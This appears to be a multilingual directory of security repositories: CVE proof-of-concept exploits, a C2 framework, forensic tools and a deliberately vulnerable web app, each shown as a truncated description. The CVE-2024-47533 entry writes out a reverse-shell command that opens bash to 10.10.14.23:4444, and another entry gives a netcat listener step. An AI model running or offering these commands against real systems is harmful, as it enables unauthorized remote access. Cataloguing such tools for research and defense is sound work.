UniPwn

Анализ внедрения команд в BLE-сервис робота Unitree Автор: Bin4ry aka Andreas Makris [email protected] Соавтор: h0stile aka Kevin Finisterre Участник: legion1581 aka Konstantin Severov из theroboverse помог исправить полезную нагрузку для инъекции и доказал это полностью рабочим PoC 🙂 спасиб...

CVE-2021-25646-exp

CVE-2021-25646-exp Apache druid CVE-2021-25646 원격 코드 실행 취약점 탐지, 이용 도구 도메인 또는 IP:포트를 입력하면 취약점 탐지 가능 취약점이 탐지된 대상에 대해 명령 실행 이용 가능 단일 대상 지원 문서에서 줄 단위로 여러 대상 읽기 지원 （실습장 시연） 취약점 탐지 취약점 이용, id 명령 실행 리버스 셸 리버스 셸 명령은 큰따옴표로 묶어야 합니다. 그렇지 않으면 오류가 발생합니다. 약간의 지연 후, 성공적으로 리버스 셸 획득...

ntfstool

ntfstool NTFSTool is a forensic tool focused on NTFS volumes. It supports reading partition info MBR, partition table, VBR but also information on Master File Table, Bitlocker encrypted volume, EFS encrypted files, USN journal and more. Download the latest binaries on AppVeyor or by checking the...

jadx

JADX jadx - Dex to Java decompiler Command line and GUI tools for producing Java source code from Android Dex and Apk files !WARNING Please note that in most cases jadx can't decompile all 100% of the code, so errors will occur. Check Troubleshooting guide for workarounds. Main features: decompil...

CVE-2020-27976

CVE-2020-27976 Эксплойт osCommerce Phoenix CE . Это дало лучшие результаты во время тестирования. Символы новой строки в полезной нагрузке заменяются пробелами перед загрузкой. ================== Источники: https://www.tenable.com/cve/CVE-2020-27976...

GenGravSSTIExploit

GenGravSSTIExploit — это PoC-скрипт на Python, эксплуатирующий аутентифицированную уязвимость Server-Side Template Injection SSTI в Grav CMS версий -p : Целевой URL в формате https://hostname. : Номер порта по умолчанию 80. Пример: python GenGravSSTIExploit.py -t http://example.com -p 8080 4...

CrucibleC2

HardHat C2 Un framework de Command & Control C2 multiplateforme et collaboratif écrit en C, conçu pour le red teaming et la facilité d'utilisation HardHat est un framework de commande et contrôle C2 multi-utilisateur basé sur C .NET conçu pour aider dans les engagements de red team et les tests d...

CVE-2024-24576-PoC

CVE-2024-24576 PoC API-интерфейсы Command::arg и Command::args в своей документации утверждают, что аргументы будут переданы запускаемому процессу как есть, независимо от содержимого аргументов, и не будут обрабатываться оболочкой. Это означает, что передавать недоверенные входные данные в качест...

CVE-2022-1388

PoC для уязвимости BIG-IP iControl REST CVE-2022-1388 Эта уязвимость может позволить неаутентифицированному злоумышленнику, имеющему сетевой доступ к системе BIG-IP через порт управления и/или self IP-адреса, выполнять произвольные системные команды, создавать или удалять файлы, либо отключать...

CVE-2024-47533

Обратная оболочка python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Простая команда python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Добавление SSH-ключа python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd...

pfBlockerNg-CVE-2022-40624

pfBlockerNg-CVE-2022-40624 Contexte pfBlockerNG est la nouvelle génération de pfBlocker avec les fonctionnalités suivantes : 1. Gérer les sources de listes IPv4/v6 dans les formats 'Deny, Permit ou Match'. 2. Base de données GeoIP par MaxMind Inc. version gratuite GeoLite2. 3. Améliorations de...

cacti-cve-2022-46169-exploit

CVE-2022-46169 PoC: Обход аутентификации и удаленное выполнение кода Этот репозиторий содержит PoC для уязвимости CVE-2022-46169, которая позволяет злоумышленнику обойти аутентификацию и удаленно выполнить произвольный код в затронутой системе. Уязвимость затрагивает Cacti версии 1.2.22, выпущенн...

lazyweb

LazyWeb - Application Web Vulnérable LazyWeb est une application web de démonstration conçue pour présenter les vulnérabilités courantes côté serveur. Chaque vulnérabilité est catégorisée avec son niveau de difficulté respectif afin d'offrir une expérience d'apprentissage complète aux développeur...

zerobox

SDK Python de Zerobox SDK Python pour zerobox. Permet de mettre en sandbox n'importe quelle commande avec des contrôles sur les fichiers, le réseau et les identifiants. pip install zerobox L'installation de la wheel dépose la CLI zerobox dans le bin/ de votre environnement et expose un SDK Python...

quiver

Quiver : un méta-outil pour Kali Linux Quiver est un espace de noms organisé de fonctions shell qui pré-remplissent les commandes dans votre terminal afin que vous puissiez abandonner votre dépendance aux notes, copier, coller, éditer, copier et coller à nouveau. Quiver vous aide à vous souvenir...

CVE-2025-49619

CVE-2025-49619 PoC Ce script exploite CVE-2025-49619 dans Skyvern pour exécuter une commande de shell inversé. Auteur Nom : Cristian Branet GitHub : cristibtz Utilisation 1. Démarrer un écouteur nc -lvnp 2. Exécuter l'exploit python3 exploit.py -u "http://:" -k "" -i -p : Adresse IP du serveur...

intel-me-research

Реверс-инжиниринг прошивки Intel ME — анализ живой CSME 16.x «В вашем компьютере есть скрытый второй компьютер. Мы нашли его, нанесли на карту и задокументировали, что в нём спрятано.» 🔥 ПОПРОБУЙТЕ САМИ — HECI SPY 🔥 Один Python-скрипт. Ноль зависимостей. Общайтесь с вашим Intel Management Engine...

CVE-2015-3306

ProFTPd 1.3.5 Exécution de commandes à distance Auteur : David Tavarez @davidtavarez Logiciel : ProFTPd 1.3.5 avec modcopy Testé sur : Debian 4+deb7u2 ProFTPD 1.3.4a Debian-4+deb7u1 ProFTPD 1.3.4a CVE : 2015-3306...

blogpost_cve-2018-19987-analysis

Анализ CVE-2018-19987 внедрение команд в ОС D-Link Всем привет! В этой короткой записи в блоге я разберу быстрый анализ, который я провел, чтобы лучше понять детали CVE-2018-19987. Сначала я занялся этой CVE, потому что думал, что нет никакой публичной информации или эксплойта. Вскоре после перво...

CVE-2019-6446

CVE-2019-6446 Выполнение команд при десериализации Numpy NumPy — мощная библиотека Python, используемая в основном для выполнения вычислений над многомерными массивами. По оценкам экспертов, уязвимость присутствует в версиях до 1.16.0 включительно. Рекомендация по исправлению — удалить параметр...